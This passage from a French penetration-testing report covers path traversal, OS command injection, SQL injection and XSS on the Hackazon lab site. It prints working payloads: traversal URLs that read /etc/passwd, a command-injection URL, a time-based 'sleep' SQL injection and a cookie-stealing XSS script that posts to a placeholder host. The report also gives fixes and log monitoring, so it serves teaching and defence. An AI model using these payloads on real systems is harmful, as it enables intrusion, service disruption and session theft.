may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files. It should be noted that access to
files is limited by system operational access control (such as in the case of locked or in-use
files on the Microsoft Windows operating system).
This attack is also known as dot-dot-slash, directory traversal, directory climbing and
backtracking.
Une attaque de type Path Traversal (galement connu sous le nom directory traversal)
vise accder des fichiers et des rpertoires qui sont stocks en dehors de la racine du
dossier web. En manipulant les variables qui font rfrence des fichiers avec "dot-dot-slash
(../)" et ses variations ou en utilisant des chemins absolus, il peut tre possible daccder
des fichiers et des rpertoires arbitraires stocks sur le systme de fichiers, y compris le code
source de lapplication, des fichiers de configuration et les fichiers critiques du systme. Il
convient de noter que laccs aux fichiers est limite par le systme de contrle daccs oprationnel (comme dans le cas des fichiers verrouills ou en cours dutilisation sur le systme
dexploitation Microsoft Windows).
Cette attaque est galement connu comme "point-point-slash", "directory traversal", "rpertoire escalade" et "retour en arrire".
(Source : OWASP)
9.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
9.3
Exploitation
Tout comme la faille prcdente (LFI), nous pouvons rcuprer des informations sur les fichiers prsents sur les serveurs. Nous pouvons accder au code source de certaines pages, afficher des fichiers
de configuration (fichiers SSH par exemple), ou voir le contenu des fichiers de mots de passe.
http://hackazon.lc/account/documents?page=/../../../../../../../etc/passwd ou
http://hackazon.lc/account/documents?page=file:///../../../../../../../etc/passwd
30
Tests dintrusion
Nous cherchons remonter le plus haut possible, dans larchitecture, jusqu la racine, puis nous
indiquons le chemin vers le fichier afficher.
Avec lURL prcdente, pour obtenons :
9.4
Correctif
Thibault MILLANT
31
Juillet 2016
Tests dintrusion
9.5
Surveillance
Nous pouvons trouver des informations sur les Path Traversal dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log
Thibault MILLANT
32
Juillet 2016
Chapitre 10
Prsentation
Une injection de commandes systmes consiste faire excuter par le serveur des commandes
systmes, envoyes travers une application Web, afin deffectuer des actions, ou de rcuprer des
informations (fichier de comptes utilisateurs, fichier de configuration SSH, etc.).
10.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
10.3
Exploitation
Sur Hackazon, nous avons une page permettant de consulter des documents (deux liens sur la
page).
hackazon.lc/account/documents
Le nom du document sur lequel on clique est pass en GET au serveur. Il est donc ais de remplacer
le nom du document par des donnes choisies par lutilisateur.
Pour mettre en lumire cette faille, on essaye dinjecter des commandes dans lURL.
Ainsi, il est possible dafficher le contenu du fichier passwd en utilisant la commande /bin/cat /etc/passwd comme dans cet exemple :
http://hackazon.lc/account/documents?page=/bin/cat%20/etc/passwd
Cela nous affiche le contenu du fichier demand. On peut faire de mme avec le fichier de configuration SSH et rcuprer bon nombre dinformations trs utiles pour accder directement au serveur.
33
Tests dintrusion
10.4
Correction
10.4.1
Escapeshellarg
Le correctif consiste faire passer la page reue en post travers la fonction PHP escapeshellarg 1 .
Cette fonction ajoute des guillemets autour de largument reu et chappe les guillemets prsents dans
largument.
10.5
Surveillance
Nous pouvons trouver des informations sur les Path Traversal dans deux fichiers de log Apache.
Le premier nous donnera les erreurs des aux commandes excutes, et le second des infos sur les
trames :
/var/log/apache2/error.log /var/log/apache2/other_vhosts_access.log
Thibault MILLANT
34
Juillet 2016
Tests dintrusion
10.6
Remarques
Cette faille porte sur une requte GET, mais le procd et les correctifs sont similaires pour une
requte POST.
Thibault MILLANT
35
Juillet 2016
Chapitre 11
Prsentation
Une injection SQL est comme son nom lindique une injection ou insertion de code SQL
via des donnes transmises depuis un site web. Une injection russie et correctement exploite permet de rcuprer des informations sensibles dune base de donnes ou encore de
modifier/supprimer/ajouter des donnes. Dune manire gnrale, toutes les actions lies
une base de donnes sont possibles. Habituellement ce type dinjection concerne PHP avec
une base SQL mais dautres langages comme ASP peuvent aussi tre concerns.
Ce type dinjection survient habituellement quand les donnes des utilisateurs sont utilises sans tre filtres ou vrifies.
Comme son nom lindique, linjection SQL laveugle consiste exploiter un site
faillible de la mme manire que celle quon a vu, cela prs que le rsultat (les messages
derreur) ne sont pas affichs sur la page.
Habituellement des outils complets sont utiliss pour automatiser tout cela. Autant vous
dire que ne pas afficher de messages derreurs est une bonne chose, mais le mieux est tout
de mme de rgler le problme la racine, on y vient.
(Source : Le Blog du Hacker)
11.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
Les scanners OpenVAS et Nessus ont aussi dcouvert la vulnrabilit sur la page http://hackazon.
lc/category/view.
11.3
Exploitation
Sur le site dHackazon, nous avons deux pages faillibles ce type dattaque.
La premire est la page de login : http://hackazon.lc/user/login.
La seconde est la vue dune des catgories : http://hackazon.lc/category/view.
Sur la page de login, on peut effectuer une injection SQL dans le champ Username or Email. Pour
cela on tape une commande SQL qui va tre interprt non pas comme une chane de caractre, mais
comme une commande SQL.
On joue sur la mauvaise construction et la non sanitization de largument pass dans le formulaire.
Ici, nous pouvons crire or sleep(16) # afin de mettre la base de donnes en pause pendant 16
secondes et interrompre toutes transactions.
36
Tests dintrusion
Un temps plus loin peut avoir de lourdes consquences pour un site de-commerce, bloquant tout achat,
donc le business de lentreprise.
Sur la page dune des catgories, on peut, dans lurl, injecter la mme commande SQL :
http://hackazon.lc/category/view?id=49andsleep(16)=
Ainsi, nous mettons en pause la base de donnes comme dans lexemple prcdent.
Comme expliqu, cela peut avoir des consquences trs lourdes pour le business de lentreprise,
avec dimportantes pertes dargent, un agacement des clients ce qui impact limage de lentreprise.
Une tude plus approfondie peut conduire linjection dautres commandes, ayant dautres consquences, comme peut-tre la modification de la base de donnes (modification des prix de ventes), la
rcupration dinformations clients (cartes bancaires, mots de passe), ou la destruction dinformations
(suppression des comptes utilisateurs, des produits en vente, etc).
11.4
Correctif
On peut utiliser plusieurs fonctions en PHP afin de se protger des injections SQL :
mysqli_real_escape_sting () :
addslashes () :
Retourne une chane de caractre avec les guillemets simples et doubles, les
backslashs et les caractres NULL, chapp avec des backslashes.
magic_quotes_gpc () :
requtes prpares : Une sorte de modle compil pour le SQL que vous voulez excuter, qui
peut tre personnalis en utilisant des variables en guise de paramtres.
procdures stockes : 5 Ensemble dinstructions SQL prcompiles, stockes dans une base de
donnes et excutes sur demande par le SGBD qui manipule la base de donnes.
Il est aussi recommand dutiliser des comptes utilisateurs accs limit pour empcher la modification ou la suppression dlments en base de donnes.
1.
2.
3.
4.
5.
https ://secure.php.net/manual/en/mysqli.real-escape-string.php
https ://secure.php.net/manual/en/function.addslashes.php
http ://aaroncameron.net/article.html ?aID=59
https ://secure.php.net/manual/fr/pdo.prepared-statements.php
https ://fr.wikipedia.org/wiki/Proc%C3%A9dure_stock%C3%A9e
Thibault MILLANT
37
Juillet 2016
Tests dintrusion
11.5
Surveillance
Nous pouvons trouver des informations sur les injections SQL dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log
Thibault MILLANT
38
Juillet 2016
Chapitre 12
Prsentation
XSS vient de Cross-Site Scripting et comme lacronyme CSS tait dj pris pour Cascading Style Sheets, on a utilis un X pour cross (croix en anglais).
La faille consiste injecter un script arbitraire dans une page pour provoquer une action
bien dfinie. Les autres utilisateurs excutent le script sans sen rendre compte ds louverture de la page.
Cross veut galement dire traverser, car lun des buts de la faille est dexcuter un script
permettant de transmettre des donnes depuis un site vers un autre.
Ce problme se situe principalement au niveau des cookies, car on peut par exemple
rcuprer les cookies dun site A depuis un site B. On peut ainsi rcuprer les cookies de
nimporte qui, mme de ladministrateur dun site.
Notez par ailleurs quon peut exploiter la faille XSS en JavaScript mais aussi avec dautres
langages.
On distingue deux types de failles XSS :
- XSS permanent
Cest lorsque le script est stock sur le serveur externe (base de donnes). Il est donc rcupr et excut tous moments sur le site par nimporte quel utilisateur.
- XSS non permanent (non persistant)
Le script est souvent intgr une URL et est excut sans tre stock sur un serveur.
On peut distinguer plusieurs possibilits non exhaustives dexploitation de cette faille :
- Une redirection de la page afin de nuire aux utilisateurs ou pour tenter une attaque de phishing.
- Voler des sessions ou des cookies. (Donc se faire passer pour un autre utilisateur pour
excuter des actions)
- Rendre le site inaccessible en utilisant des alertes en boucle ou tout autre moyen nuisible.
(Source : Le Blog du Hacker)
12.2
Dcouverte
La faille a t dcouverte lors dun scan du site Web, effectu par Arachni.
Ce scanner a test de nombreuses dformations de lURL pour provoquer des comportements anormaux (diffrents types de failles : Path Traversal, File Inclusion, OS Command Injection, etc.).
Cependant, il ny avait pas dinformations donnes sur lexploitation.
39
Tests dintrusion
12.3
Exploitation
Cette vulnrabilit permet dinjecter directement du code Javascript, ou de charger un fichier Javascript ou PHP depuis un serveur distant.
On remarque, grce aux diffrents rapports, que le champ de recherche peut tre vulnrable aux
injections XSS.
Nous pouvons injecter du code dans le champ de recherche (par exemple : <script>window.open("http ://monUrl/script.php ?param="+document.cookie)</script>) ou dans lUrl directement comme ici : http://
hackazon.lc/search?id=&searchString=<script>window.open("http://monUrl/script.php?param=
"+document.cookie)</script>.
Ici, nous sommes confronts une faille XSS non persistante. Elle nest pas stocke, et ne peut
donc tre recharge pour chaque utilisateur qui consulterait la page.
Cependant, elle reste utile, coupl du Social Engineering, en poussant un utilisateur cliquer sur
ce lien, via un forum, un email, etc...
Cela permettra de rcuprer un cookie, ou dautres informations, pour usurper lidentit de lutilisateur.
12.4
Correctif
Pour se protger de lexploit, on peut utiliser plusieurs fonctions PHP permettant deffacer les caractres spciaux utiliss par lattaquant lors de son injection XSS.
htmlentities : Permet dchapper les guillemets simples et doubles.
htmlspecialchars : Convertit les guillemets doubles et simples, lampersand (&), et les symboles
suprieur et infrieur .
Il est aussi recommand de dutiliser le paramtre HttpOnly dans la cration des cookies afin dempcher la rcupration de ces derniers en utilisant du Javascript. De ce fait, le cookie nest accessible
que depuis le protocole HTTP.
Attention cependant, cette configuration nest pas forcment supporte par tous les navigateurs.
12.5
Surveillance
Nous pouvons trouver des informations sur les XSS dans un fichier de log Apache :
/var/log/apache2/other_vhosts_access.log
Thibault MILLANT
40
Juillet 2016
Cinquime partie
Conclusion
41
Tests dintrusion
Vous avez srement dj entendu parler des failles prsentes dans ce document, elles sont connues
et exploites depuis plusieurs annes.
Malgr cela, elles restent trs prsentes sur le Web, comme le montre le top 10 de lOWASP.
Dans leur dernire version du document, datant de 2013, linjection (SQL, OS, LDAP, etc.) est la faille
que lon retrouve le plus.
Le XSS arrive en 3e position.
La CSRF se trouve en 8eposition.
Il est important de continuer sensibiliser les dveloppeurs et les usagers dInternet, aux bonnes
pratiques de scurit, afin de limiter les dgts gnrs par ces diffrentes vulnrabilits.
Dans ce livre, jai donc tent de reprendre certaines vulnrabilits en les dtaillant au maximum, en
utilisant le cas concret de la plateforme Hackazon, afin de faciliter la comprhension de leur fonctionnement et de leur exploitation.
Thibault MILLANT
42
Juillet 2016